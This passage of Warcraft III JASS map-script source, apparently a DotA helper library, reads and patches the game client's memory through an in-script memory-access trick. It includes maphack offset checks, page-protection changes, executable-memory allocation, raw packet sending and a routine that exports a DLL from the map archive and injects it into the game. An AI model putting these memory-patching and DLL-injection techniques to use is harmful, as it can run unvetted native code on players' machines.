        if pOffset2 != -2020931861 then
            call MaphackDetected( GetLocalPlayer( ), "Enable Enable Trade / Resource View. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x35FA4A
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 149624868 then
            call MaphackDetected( GetLocalPlayer( ), "Enable Enable Trade / Resource View. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //     Make Units Clickable
        set pOffset1 = 0x2851B2
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 695582853 then
            call MaphackDetected( GetLocalPlayer( ), "Make Units Clickable. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x28519C
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1149971060 then
            call MaphackDetected( GetLocalPlayer( ), "Make Units Clickable. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
//        set pOffset1 = 0x93645E
//        set pOffset2 = ReadOffsetUnsafe(pOffset1)
//        if pOffset2 != 1154367488 then
//            call MaphackDetected( GetLocalPlayer( ), "Make Units Clickable. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
////            return
//        endif
   
   
        //Reveal Illusions
        set pOffset1 = 0x282A5C
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -858993469 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Illusions. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Reveal Invisibles
        set pOffset1 = 0x399A98
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1815684980 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Invisibles. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Reveal Units on Main Map
        set pOffset1 = 0x3A159B
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 600880911 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Units on Main Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x3A14F0
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1149962731 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Units on Main Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x361176
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 225821573 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Units on Main Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        // Remove FOG on Main Map
        set pOffset1 = 0x74CA1A
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1284541183 then
            call MaphackDetected( GetLocalPlayer( ), "Remove FOG on Main Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        // Remove FOG on Mini Map
        set pOffset1 = 0x356525
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -2097051580 then
            call MaphackDetected( GetLocalPlayer( ), "Remove FOG on Mini Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Reveal Units on Mini Map
        set pOffset1 = 0x36143B
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1194773758 then
            call MaphackDetected( GetLocalPlayer( ), "Reveal Units on Mini Map. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Show Enemies Ping Signals
        set pOffset1 = 0x43EE96
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1065025533 then
            call MaphackDetected( GetLocalPlayer( ), "Show Enemies Ping Signals. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x43EE99
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 12616719 then
            call MaphackDetected( GetLocalPlayer( ), "Show Enemies Ping Signals. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x43EEA9
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 264275200 then
            call MaphackDetected( GetLocalPlayer( ), "Show Enemies Ping Signals. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x43EEAC
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 44420 then
            call MaphackDetected( GetLocalPlayer( ), "Show Enemies Ping Signals. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Show Missiles
        set pOffset1 = 0x38E9F1
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1985938600 then
            call MaphackDetected( GetLocalPlayer( ), "Show Missiles. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Show Rally Points
        set pOffset1 = 0x04B7D3
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1958774016 then
            call MaphackDetected( GetLocalPlayer( ), "Show Rally Points. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Show Runes
        set pOffset1 = 0x3A14DB
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1963057795 then
            call MaphackDetected( GetLocalPlayer( ), "Show Runes. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
   
   
        //Show Skills / Cooldowns
        set pOffset1 = 0x2026DC
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 23036943 then
            call MaphackDetected( GetLocalPlayer( ), "Show Skills / Cooldowns. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x0C838D
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 16548879 then
            call MaphackDetected( GetLocalPlayer( ), "Show Skills / Cooldowns. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x28E1DE
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 829800581 then
            call MaphackDetected( GetLocalPlayer( ), "Show Skills / Cooldowns. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x34F2A8
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1957296012 then
            call MaphackDetected( GetLocalPlayer( ), "Show Skills / Cooldowns. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x34F2E9
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != -1957296012 then
            call MaphackDetected( GetLocalPlayer( ), "Show Skills / Cooldowns. Address: 0x"+Int2Hex(pOffset1)+" .   Need: " + I2S(pOffset2) )
//            return
        endif
        set pOffset1 = 0x3a1563
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1711276032 then
            call MaphackDetected( GetLocalPlayer( ), "BlackWolf_MH_1._Address:_0x"+Int2Hex(pOffset1)+"_.___Need:_" + I2S(pOffset2) )
            return
        endif
   
        set pOffset1 = 0x74ca19
        set pOffset2 = ReadOffsetUnsafe(pOffset1)
        if pOffset2 != 1284541183 then
            call MaphackDetected( GetLocalPlayer( ), "BlackWolf_MH_2._Address:_0x"+Int2Hex(pOffset1)+"_.___Need:_" + I2S(pOffset2) )
            return
        endif

    endif
endfunction

function SetCameraDefaultHeight takes integer i, real r returns nothing
    local integer oldprotection = 0
    if GameVersion == 0x27a then
        set oldprotection = ChangeOffsetProtection((pCameraDefaultHeight+i)*4,4,0x40)
        set Memory[pCameraDefaultHeight+i] = cleanInt(realToIndex(r))
        call ChangeOffsetProtection((pCameraDefaultHeight+i)*4,4,oldprotection)
    elseif GameVersion == 0x26a then
        set oldprotection = ChangeOffsetProtection((pCameraDefaultHeight-i)*4,4,0x40)
        set Memory[pCameraDefaultHeight-i] = cleanInt(realToIndex(r))
        call ChangeOffsetProtection((pCameraDefaultHeight-i)*4,4,oldprotection)
    endif
endfunction

function GetCameraDefaultHeight takes integer i returns real
    if GameVersion == 0x27a then
        return cleanReal(indexToReal(Memory[pCameraDefaultHeight+i]))
    elseif GameVersion == 0x26a then
        return cleanReal(indexToReal(Memory[pCameraDefaultHeight-i]))
    endif
    return 0.
endfunction

function RestoreCameraOffsets takes nothing returns nothing
    call SetCameraDefaultHeight(5,DefaultCameraHeight[5])
    call SetCameraDefaultHeight(4,DefaultCameraHeight[4])
    call SetCameraDefaultHeight(3,DefaultCameraHeight[3])
    call SetCameraDefaultHeight(2,DefaultCameraHeight[2])
    call SetCameraDefaultHeight(1,DefaultCameraHeight[1])
    call SetCameraDefaultHeight(0,DefaultCameraHeight[0])
endfunction

function Init takes nothing returns nothing
    local integer i
    call ForForce(bj_FORCE_PLAYER[0], I2C(8+C2I(function UnlockMemory)))
    set i = Memory[GetBytecodeAddress()/4]
    set i = i - Memory[i/4]
//    call BJDebugMsg(I2S(i))
    // init game versions
    if i == 2586768 then
        call Init27()
    elseif i == 5205600 then
        call Init26()
    elseif i == 5276928 then
        call Init24b()
    endif
    // init default globals
    set pReservedExecutableMemory = AllocateExecutableMemory(1000) // 250b
    set pReservedExecutableMemory2 = AllocateExecutableMemory(1000) // 250b
    set pBitwiseOR_ExecutableMemory = AllocateExecutableMemory(100) // 25b
    set pBitwiseXOR_ExecutableMemory = AllocateExecutableMemory(100)
    set pBitwiseAND_ExecutableMemory = AllocateExecutableMemory(100)
    set pReservedMemoryForMissileHandler = AllocateExecutableMemory(1000)
    set pReservedMemoryForDamageHandler = AllocateExecutableMemory(1000)
    set pDamageTarget = malloc(4)
    set pDamageEspData = malloc(4)
    set pMissileEspData = malloc(4)
    set pReservedWritableMemory = malloc(szReservedWritableMemory )
    set pReservedWritableMemory2 = malloc(szReservedWritableMemory )
    set pReserverdIntArg1 = malloc(4)
    set pReserverdIntArg2 = malloc(4)
    set pReserverdIntArg3 = malloc(4)
    set pReserverdIntArg4 = malloc(4)

    set pReservedMemoryForSystemTime = malloc(40)

    set pReservedMemoryForUpdateFrameText = malloc(16)
    // init other
    set DefaultCameraHeight[0]=GetCameraDefaultHeight(0)
    set DefaultCameraHeight[1]=GetCameraDefaultHeight(1)
    set DefaultCameraHeight[2]=GetCameraDefaultHeight(2)
    set DefaultCameraHeight[3]=GetCameraDefaultHeight(3)
    set DefaultCameraHeight[4]=GetCameraDefaultHeight(4)
    set DefaultCameraHeight[5]=GetCameraDefaultHeight(5)

    set LocalPlayer=GetLocalPlayer()
    call SaveConstantsValues( )
    //call ResetConstantsValues( )
endfunction

function InitMagic takes nothing returns nothing
    call ExecuteFunc("Ascii__onInit")
    call ExecuteFunc("HexNumber__onInit")
    call ExecuteFunc("ObjectData__Init")
    call ExecuteFunc("Init")
endfunction

// This for example dll:

// call InitDotaHelper(GameVersion)
function InitDotaHelper takes  integer hexGameVersion returns integer
    local integer nhandle1
    set nhandle1 = GetModuleProcAddress(EXTRADLLNAME, "InitDotaHelper" )



    if nhandle1 != 0 then
        set EXTRADLLLOADED = true
        return CallStdcallWith1Args(nhandle1,hexGameVersion)
    endif
    return 0
endfunction

// Add offsets needed for restore after game
function AddNewOffsetToRestore takes  integer offsetaddress, integer offsetdefaultdata returns nothing
    if pAddNewOffsetToRestore == 0 then
        set pAddNewOffsetToRestore =  GetModuleProcAddress(EXTRADLLNAME, "AddNewOffset" )
    endif
    if pAddNewOffsetToRestore != 0 then
        call CallStdcallWith2Args(pAddNewOffsetToRestore,offsetaddress,  offsetdefaultdata )
    endif
endfunction

function MutePlayer takes string playername returns nothing
    local integer nOffset1

    if pMutePlayer == 0 then
        set pMutePlayer = GetModuleProcAddress(EXTRADLLNAME, "MutePlayer" )
    endif
    if pMutePlayer != 0 then
        call CallStdcallWith1Args(pMutePlayer,GetStringAddress(playername))
    endif
endfunction

function UnMutePlayer takes string playername returns nothing
    local integer nOffset1

    if pUnMutePlayer == 0 then
        set pUnMutePlayer = GetModuleProcAddress(EXTRADLLNAME, "UnMutePlayer" )
    endif
    if pUnMutePlayer != 0 then
        call CallStdcallWith1Args(pUnMutePlayer,GetStringAddress(playername))
    endif
endfunction

function InitAllySkillViewer takes nothing returns nothing
    if FileExists(EXTRADLLNAME) then
        if GetModuleHandle(EXTRADLLNAME) == 0 then
            call LoadLibrary(EXTRADLLNAME)
        endif
        call InitDotaHelper(GameVersion)
    else
        call ExportDllFromMpqAndInjectToWarcraft(EXTRADLLNAME, EXTRADLLNAME)
        call InitDotaHelper(GameVersion)
    endif
endfunction

function IllusionsDamageBlockEnable takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection(pDamageBlockIllusionCheck,4,0x40)
    local integer oldprotection1 = ChangeOffsetProtection(pItemDropOrderTriggerFix,4,0x40)
    if GameVersion==0x26a then
        call WriteRealMemory(pDamageBlockIllusionCheck,0x00000000)
        call WriteRealMemory(pItemDropOrderTriggerFix,0x9090C83B)
    elseif GameVersion==0x27a then
        call WriteRealMemory(pDamageBlockIllusionCheck,0x90900040)
        call WriteRealMemory(pItemDropOrderTriggerFix,0x9090F03B)
    endif
    call ChangeOffsetProtection(pDamageBlockIllusionCheck,4,oldprotection)
    call ChangeOffsetProtection(pItemDropOrderTriggerFix,4,oldprotection1)
endfunction

function TestExampleDll takes nothing returns nothing
    local integer oldprotection
    // Init DotAAllstarsHelper688.dll
    call InitAllySkillViewer( )

    // call it only once, for restore constans after game end
    call AddNewOffsetToRestore(pUnitMaxSpeedConstant*4,Memory[pUnitMaxSpeedConstant])
    call AddNewOffsetToRestore(pUnitMinSpeedConstant*4,Memory[pUnitMinSpeedConstant])

    call AddNewOffsetToRestore(pDamageBlockIllusionCheck,Memory[pDamageBlockIllusionCheck/4])
    call AddNewOffsetToRestore(pItemDropOrderTriggerFix,Memory[pItemDropOrderTriggerFix/4])
    call IllusionsDamageBlockEnable()


    call AddNewOffsetToRestore(pCaptionsOverTheCreeps,Memory[(pCaptionsOverTheCreeps)/4])//captions over the mobs
    call AddNewOffsetToRestore(pBuildingMaxSpeedConstant*4,Memory[pBuildingMaxSpeedConstant])
    call AddNewOffsetToRestore(pBuildingMinSpeedConstant*4,Memory[pBuildingMinSpeedConstant])
    call AddNewOffsetToRestore(pAttackSpeedLimit*4,Memory[pAttackSpeedLimit])
    call AddNewOffsetToRestore(pAttackTimeLimit*4,Memory[pAttackTimeLimit])
//    call AddNewOffsetToRestore(pCycloneFixCondition*4,Memory[pCycloneFixCondition])

//    set oldprotection = ChangeOffsetProtection((pCycloneFixCondition)*4,4,0x40)
    if GameVersion == 0x26a then
        call AddNewOffsetToRestore((pCameraDefaultHeight+0)*4,Memory[(pCameraDefaultHeight+0)])
        call AddNewOffsetToRestore((pCameraDefaultHeight+1)*4,Memory[(pCameraDefaultHeight+1)])
        call AddNewOffsetToRestore((pCameraDefaultHeight+2)*4,Memory[(pCameraDefaultHeight+2)])
        call AddNewOffsetToRestore((pCameraDefaultHeight+3)*4,Memory[(pCameraDefaultHeight+3)])
        call AddNewOffsetToRestore((pCameraDefaultHeight+4)*4,Memory[(pCameraDefaultHeight+4)])
        call AddNewOffsetToRestore((pCameraDefaultHeight+5)*4,Memory[(pCameraDefaultHeight+5)])
//        set Memory[pCycloneFixCondition]=CycloneFixCondition026a
    elseif GameVersion == 0x27a then
        call AddNewOffsetToRestore((pCameraDefaultHeight-0)*4,Memory[(pCameraDefaultHeight-0)])
        call AddNewOffsetToRestore((pCameraDefaultHeight-1)*4,Memory[(pCameraDefaultHeight-1)])
        call AddNewOffsetToRestore((pCameraDefaultHeight-2)*4,Memory[(pCameraDefaultHeight-2)])
        call AddNewOffsetToRestore((pCameraDefaultHeight-3)*4,Memory[(pCameraDefaultHeight-3)])
        call AddNewOffsetToRestore((pCameraDefaultHeight-4)*4,Memory[(pCameraDefaultHeight-4)])
        call AddNewOffsetToRestore((pCameraDefaultHeight-5)*4,Memory[(pCameraDefaultHeight-5)])
//        set Memory[pCycloneFixCondition]=CycloneFixCondition027a
    endif
//    call ChangeOffsetProtection((pCycloneFixCondition)*4,4,oldprotection)
    // restore pings
    call AddNewOffsetToRestore(pPingMinimapExOffset,Memory[pPingMinimapExOffset/4])
    call AddNewOffsetToRestore(pPingMinimapOffset,Memory[pPingMinimapOffset/4])
    // restore alliance output
    call AddNewOffsetToRestore(pAllianceOutput,Memory[pAllianceOutput/4])

    call AddNewOffsetToRestore(OPLimitAddress1,Memory[OPLimitAddress1/4])
    call AddNewOffsetToRestore(OPLimitAddress2,Memory[OPLimitAddress2/4])



endfunction

function TestReadWriteINI takes nothing returns nothing
    call WriteStringToFile(dotaconfigfle,"GLOBAL","TestKey1","HELLO WORLD!")
    call WriteStringToFile(dotaconfigfle,"GLOBAL","CamerHeight","1650")

    call BJDebugMsg(ReadStringFromFile(dotaconfigfle,"GLOBAL","TestKey1","glob"))
    call BJDebugMsg(ReadStringFromFile(dotaconfigfle,"GLOBAL","CamerHeight","16g0"))
endfunction

function GetUnitNextAttackTimestamp takes unit u returns real
    local integer cid=(ConvertHandle(u)+0x1E8)/4
    if cid < 0x1E8 then
        return -1.
    endif
    if Memory[cid]/4!=0 then
        set cid=Memory[cid]/4
        if Memory[cid+0x1E4/4]!=0 then
            set cid=Memory[cid+0x1E4/4]/4
            return cleanReal(indexToReal(Memory[cid + 1 ]))
        endif
   
    endif
    return -1.
endfunction

function ResetAttackCooldown takes unit u returns boolean
    local integer cid=(ConvertHandle(u)+0x1E8)/4
    local real r1
    local real r2
    if cid < 0x1E8 then
        return false
    endif
    if Memory[cid]/4!=0 then
        set cid=Memory[cid]/4
        if Memory[cid+0x1E4/4]!=0 then
            set Memory[cid+0x1E4/4]=0
            return true
        endif
    endif
    return false
endfunction

function ChangeItemId takes item it, integer targetID returns nothing
    local integer cid=ConvertHandle(it)/4
    local integer curID
    if cid == 0 then
        return
    endif
    set curID=Memory[cid+0x30/4]
    set Memory[cid+0x30/4]=targetID
endfunction

function GetUnitMSBonus takes unit u returns real
    local integer cid=ConvertHandle(u)/4
    if cid <= 0 then
        return -1000.
    endif
    if Memory[cid+0x1EC/4]!=0 then//Amov
        set cid=Memory[cid+0x1EC/4]/4
        return GetRealFromMemory(Memory[cid+0x78/4])
    endif
    return -1000.
endfunction

function GetUnitCurrentBaseMS takes unit u returns real
    local integer cid=ConvertHandle(u)/4
    if cid <= 0 then
        return 0.
    endif
    if Memory[cid+0x1EC/4]!=0 then//Amov
        set cid=Memory[cid+0x1EC/4]/4
        return GetRealFromMemory(Memory[cid+0x70/4])
    endif
    return 0.
endfunction

//to set base MS use SetUnitMovespeed

function SetUnitMSBonus takes unit u, real r returns boolean
    local integer cid=ConvertHandle(u)/4
    if cid <= 0 then
        return false
    endif
    if Memory[cid+0x1EC/4]!=0 then//Amov
        set cid=Memory[cid+0x1EC/4]/4
        set Memory[cid+0x78/4]=SetRealIntoMemory(r)
        call SetUnitMoveSpeed(u,GetRealFromMemory(Memory[cid+0x70/4]))//required to update ms instantly
        return true
    endif
    return false
endfunction

function AddUnitMovespeedBonus takes unit u, real r returns nothing
    call SetUnitMSBonus(u,GetUnitMSBonus(u)+r)
endfunction

function RemoveAllUnitMovementDisables takes unit u returns nothing
    local integer a=GetHandleId(u)
    if a> 0 then
        set a=ConvertHandle(u)
        if a>0 then
            if Memory[a/4+0x1EC/4]>0 then
                set Memory[Memory[a/4+0x1EC/4]/4 + 0x7C/4]=0
            endif
        endif
    endif
endfunction

function IsUnitMovementDisabled takes unit u returns boolean
    local integer a=GetHandleId(u)
    if a> 0 then
        set a=ConvertHandle(u)
        if a>0 then
            if Memory[a/4+0x1EC/4]>0 then
                return Memory[Memory[a/4+0x1EC/4]/4 + 0x7C/4]<=0
            endif
        endif
    endif
    return false
endfunction

function ToggleUnitMovement takes integer a, integer d returns nothing
    if a>0 then
        if Memory[a/4+0x1EC/4]>0 then
            set Memory[Memory[a/4+0x1EC/4]/4 + 0x7C/4]=Memory[Memory[a/4+0x1EC/4]/4 + 0x7C/4]+d
        endif
    endif
endfunction

function DisableUnitMovement takes unit u returns nothing
    if u==null then
        return
    endif
    call ToggleUnitMovement(ConvertHandle(u),1)
endfunction

function EnableUnitMovement takes unit u returns nothing
    if u==null then
        return
    endif
    call ToggleUnitMovement(ConvertHandle(u),-1)
endfunction

function GetFrameItemAddress takes string name, integer id returns integer
    return CallFastCallWith2Args(pGetFrameItemAddress, GetStringAddress(name), id)
endfunction

function GetFrameSkinAddress takes string name, integer id returns integer
    return CallFastCallWith2Args(pGetFrameSkinAddress, GetStringAddress(name), id)
endfunction

function GetFrameTextAddress takes string name, integer id returns integer
    return CallFastCallWith2Args(pGetFrameTextAddress, GetStringAddress(name), id)
endfunction

function GetFrameTextAddressTEXT takes string name, integer id returns integer
    local integer FrameAddr = GetFrameTextAddress(name,id)
    if FrameAddr == 0 then
        return 0
    endif
    return ReadRealMemory(FrameAddr+0x9C)
endfunction

function GetFrameTextString takes string name, integer id returns string
    local integer FrameAddr = GetFrameTextAddress(name,id)
    if FrameAddr == 0 then
        return ""
    endif
    return ConvertNullTerminatedStringToString(ReadRealMemory(FrameAddr+0x9C))
endfunction

//function UpdateFrameText takes integer

// function UpdateFrameText takes integer addr returns nothing
    // local real x1 = cleanReal(indexToReal(ReadRealMemory(addr+0x44)))
    // local real y1 = cleanReal(indexToReal(ReadRealMemory(addr+0x48)))
    // local real x2 = cleanReal(indexToReal(ReadRealMemory(addr+0x4C)))
    // local real y2 = cleanReal(indexToReal(ReadRealMemory(addr+0x50)))
    // call WriteRealMemory(pReservedMemoryForUpdateFrameText,cleanInt(realToIndex(x1)))
    // call WriteRealMemory(pReservedMemoryForUpdateFrameText+4,cleanInt(realToIndex(y1)))
    // call WriteRealMemory(pReservedMemoryForUpdateFrameText+8,cleanInt(realToIndex(x2)))
    // call WriteRealMemory(pReservedMemoryForUpdateFrameText+12,cleanInt(realToIndex(y2)))
    // call CallThisCallWith2Args(ReadRealPointer1LVL(addr,0), addr,pReservedMemoryForUpdateFrameText)
// endfunction

function SetFrameTextAddress takes integer addr, string str returns nothing
    // call UpdateFrameText(addr)
    // call WriteRealMemory(addr+0x9C,GetStringAddress(str))
    // call UpdateFrameText(addr)
    call CallThisCallWith2Args(pUpdateFrameText,addr,GetStringAddress(str))
endfunction

function TestIsReplay takes nothing returns nothing
    if GetFrameItemAddress("ReplayVisionMenu",0) == 0 then
        call BJDebugMsg("INGAME!")
    else
        call BJDebugMsg("INREPLAY!")
    endif
endfunction

function DisableSaveGameSaveButton takes nothing returns nothing
    local integer pSaveGameSaveButton = GetFrameItemAddress("SaveGameFileEditBox",0)
    if pSaveGameSaveButton > 0 then
        set Memory[pSaveGameSaveButton/4 + 0x1D4/4] = 0
        set Memory[pSaveGameSaveButton/4 + 0x108/4] = 0
        set Memory[pSaveGameSaveButton/4 + 0x1E8/4] = 0
    endif
    set pSaveGameSaveButton = GetFrameItemAddress("FileListFrame",0)
    if pSaveGameSaveButton > 0 then
        set Memory[pSaveGameSaveButton/4 + 0x10C/4] = 0x3B03123E
    endif
endfunction

function TestDisableSaveGameButton takes nothing returns nothing
    local timer t=CreateTimer()
    call TimerStart(t,2.0,false,function DisableSaveGameSaveButton)
endfunction

function GetFrameAddress takes string name, integer id returns integer
    local integer nOffset1 = Memory[(pFrameDefClass + 0x1c)/4]/4
    local integer FirstAddress = Memory[nOffset1 + 2] + 0x10
    local integer NextAddress = FirstAddress
    local string checkstr
    local boolean firstcheck = true

    loop
        if NextAddress == 0 then
            return 0
        endif
   
        if NextAddress == pFrameDefClass + 8  then
            if firstcheck then
                set firstcheck = false
                set NextAddress = Memory[NextAddress/4]
            else
                return 0
            endif
        endif
   
        set checkstr = ConvertNullTerminatedStringToString(Memory[NextAddress/4+2])
   
        if checkstr == name then
            return NextAddress
        endif
   
        set NextAddress = Memory[NextAddress/4]
   
        if NextAddress == FirstAddress  or NextAddress == 0 then
            return 0
        endif
    endloop

    return 0
endfunction

function TestGetFrame takes nothing returns nothing
    local integer ConsoleUI = GetFrameAddress("ConsoleUI",0)
    if ConsoleUI == 0 then
        call BJDebugMsg("BAD!")
    else
        call BJDebugMsg(Int2Hex(ConsoleUI))
    endif
endfunction

function TestGetFrameItem takes nothing returns nothing
    local integer ConsoleUI = GetFrameAddress("Multiboard",0)
    if ConsoleUI == 0 then
        call BJDebugMsg("BAD!")
    else
        call BJDebugMsg(Int2Hex(ConsoleUI))
    endif
endfunction

// Don't use pReservedWritableMemory2 for pOffset
function GenerateNewPacket takes integer pOffset, integer pSize returns integer
    set Memory[pReservedWritableMemory2/4] = pPacketClass
    set Memory[pReservedWritableMemory2/4 + 1] = pOffset
    set Memory[pReservedWritableMemory2/4 + 2] = 0
    set Memory[pReservedWritableMemory2/4 + 3] = 0
    set Memory[pReservedWritableMemory2/4 + 4] = pSize
    set Memory[pReservedWritableMemory2/4 + 5] = 0xFFFFFFFF
    return pReservedWritableMemory2
endfunction

function SendGamePacket takes integer pOffset, integer pSize returns nothing
    //1st byte stands for ID, 2nd is pSize, rest is the body, w/e you want
    call CallFastCallWith2Args(pPacketSend, GenerateNewPacket(pOffset,pSize),0 )
endfunction


// Packet id : 0x01(Pause game) . Size : 1 byte
function Packet_Pause takes player p returns nothing
    if GetLocalPlayer() == p then
        set Memory[pReservedWritableMemory/4] = 0x00000001
        call SendGamePacket(pReservedWritableMemory,1)
    endif
endfunction


// Packet id : 0x02(Resume game) . Size : 1 byte
// Can't use from jass if not after Pause
function Packet_Resume takes player p returns nothing
    if GetLocalPlayer() == p then
        set Memory[pReservedWritableMemory/4] = 0x00000002
        call SendGamePacket(pReservedWritableMemory,1)
    endif
endfunction



function TestSendPacket takes nothing returns nothing
    call Packet_Pause(GetLocalPlayer())
    call Packet_Resume(GetLocalPlayer())
endfunction

function IsPingMinimapLocked takes nothing returns boolean
    return Memory[pPingMinimapOffset/4] == 0x90C3C08B
endfunction


function LockPingMinimap takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( pPingMinimapOffset,4,0x40)

    if NotLockedPingMinimap and IsPingMinimapLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "Ping hack detected!" )
    endif

    if NotLockedPingMinimap == false and IsPingMinimapLocked( ) == false then
        call MaphackDetected( GetLocalPlayer( ), "Ping hack detected!#2" )
    endif

    if NotLockedPingMinimap then
        set PingMinimapUnlocker = Memory[pPingMinimapOffset/4]
        set NotLockedPingMinimap = false
    endif
    set Memory[pPingMinimapOffset/4] = 0x90C3C08B
    call ChangeOffsetProtection( pPingMinimapOffset,4, oldprotection)
endfunction


function UnlockPingMinimap takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( pPingMinimapOffset,4,0x40)

    if NotLockedPingMinimap and IsPingMinimapLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "Ping hack detected!#3" )
    endif

    if NotLockedPingMinimap == false and IsPingMinimapLocked( ) == false then
        call MaphackDetected( GetLocalPlayer( ), "Ping hack detected!#4" )
    endif

    if NotLockedPingMinimap == false then
        set Memory[pPingMinimapOffset/4] = PingMinimapUnlocker
        set NotLockedPingMinimap = true
    endif
    call ChangeOffsetProtection( pPingMinimapOffset,4, oldprotection)
endfunction


function IsPingMinimapExLocked takes nothing returns boolean
    return Memory[pPingMinimapExOffset/4] == 0x90C3C08B
endfunction

function LockPingMinimapEx takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( pPingMinimapExOffset,4,0x40)

    if NotLockedPingMinimapEx and IsPingMinimapExLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "PingEx hack detected!" )
    endif

    if NotLockedPingMinimapEx == false and IsPingMinimapExLocked( ) == false then
        call MaphackDetected( GetLocalPlayer( ), "PingEx hack detected!#2" )
    endif

    if NotLockedPingMinimapEx then
        set PingMinimapExUnlocker = Memory[pPingMinimapExOffset/4]
        set NotLockedPingMinimapEx = false
    endif
    set Memory[pPingMinimapExOffset/4] = 0x90C3C08B
    call ChangeOffsetProtection( pPingMinimapExOffset,4, oldprotection)
endfunction

function UnlockPingMinimapEx takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( pPingMinimapExOffset,4,0x40)

    if NotLockedPingMinimapEx and IsPingMinimapExLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "PingEx hack detected!#3" )
    endif

    if NotLockedPingMinimapEx == false and IsPingMinimapExLocked( ) == false then
        call MaphackDetected( GetLocalPlayer( ), "PingEx hack detected!#4" )
    endif


    if NotLockedPingMinimapEx == false then
        set Memory[pPingMinimapExOffset/4] = PingMinimapExUnlocker
        set NotLockedPingMinimapEx = true
    endif
    call ChangeOffsetProtection( pPingMinimapExOffset,4, oldprotection)
endfunction


function nPngMinimap takes real x, real y, real d returns nothing
    call UnlockPingMinimap( )
    call PingMinimap(x,y,d)
    call LockPingMinimap( )
endfunction


